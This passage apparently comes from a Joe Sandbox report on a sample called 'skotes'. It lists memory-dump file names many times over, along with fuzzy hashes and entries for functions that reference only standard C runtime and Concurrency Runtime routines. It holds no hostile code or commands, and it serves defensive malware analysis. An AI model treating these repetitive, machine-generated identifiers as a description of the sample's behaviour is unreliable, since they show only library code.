Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 652165df6266fd4b89dbff1ec4c4fa38ac853b3aaf9aa8dd3fb122bea264bf39
Instruction ID: 38649942f567d5ebb11e5d642a0cac390f90e644ba756359aae3293dd4c69980
Opcode Fuzzy Hash: 652165df6266fd4b89dbff1ec4c4fa38ac853b3aaf9aa8dd3fb122bea264bf39
Instruction Fuzzy Hash: 6451B071601A06AFDB259F54DC85FBA77A7EF11300F19452DE8038BA91EB31BD81CB91

Function 006C4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 006C4C66
TypeidsEqual.LIBVCRUNTIME ref: 006C4C8B
PMDtoOffset.LIBCMT ref: 006C4CA1
PMDtoOffset.LIBCMT ref: 006C4D22

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 1590a19df27332b3d23598db4134cb44fa8341e53e13772f1e89e56e97734399
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: 8C517735A042099FCB11DF68C4A0BFEBBF6EF15354B14449EE852A7361DB32AA45CB90

Function 006BDB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 006BDB64

Part of subcall function 006B8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 006B8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 006BDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 006BDBE9
Concurrency::location::_Assign.LIBCMT ref: 006BDC56

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: ce9cb2002ea0296db1f28bb8666b90b1635cf089937f13563fc27fd7de449115
Instruction ID: 8e40aa01fc6ab53b61142df158b89f437a58d1717dda5a2aa9e2ebaad54ff407
Opcode Fuzzy Hash: ce9cb2002ea0296db1f28bb8666b90b1635cf089937f13563fc27fd7de449115
Instruction Fuzzy Hash: 4941E3F0604210ABDB19AB24C886BFDBB7BAF45320F14409DE5069F3C2DB74AD85CB95

Function 006B56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 006B56F2
_InternalDeleteHelper.LIBCONCRT ref: 006B5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 006B578B
SafeRWList.LIBCONCRT ref: 006B579A

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: e8d996556311259958e62605e43b74c40d53540c81b6a255b5192267b77b454b
Instruction ID: 510f316e6c4e5a2d56e920330b6116cfc0a3f1a95ce71fe43c51c444dbabdd44
Opcode Fuzzy Hash: e8d996556311259958e62605e43b74c40d53540c81b6a255b5192267b77b454b
Instruction Fuzzy Hash: 3E31F376B016109FCB099F20C885AED77A7AFC9710F194279E9069F396DF70AD418B90

Function 006B2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 006B2D0F

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 6987e27c78233f1d4d1a901dd02c863a4c7d6fc3804eb518d8824eb064b83de3
Instruction ID: 316397c62afc7c7b9e28981f96fe3e400e69a45a1f4a2937a750b756207ff8e8
Opcode Fuzzy Hash: 6987e27c78233f1d4d1a901dd02c863a4c7d6fc3804eb518d8824eb064b83de3
Instruction Fuzzy Hash: 4C3108B5A0030ADFCF10DF94C490BEE7BBAAF44714F1404AAD9059B346D770A985DBA1

Function 006C13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 006C13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 006C1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 006C147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 006C152A

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
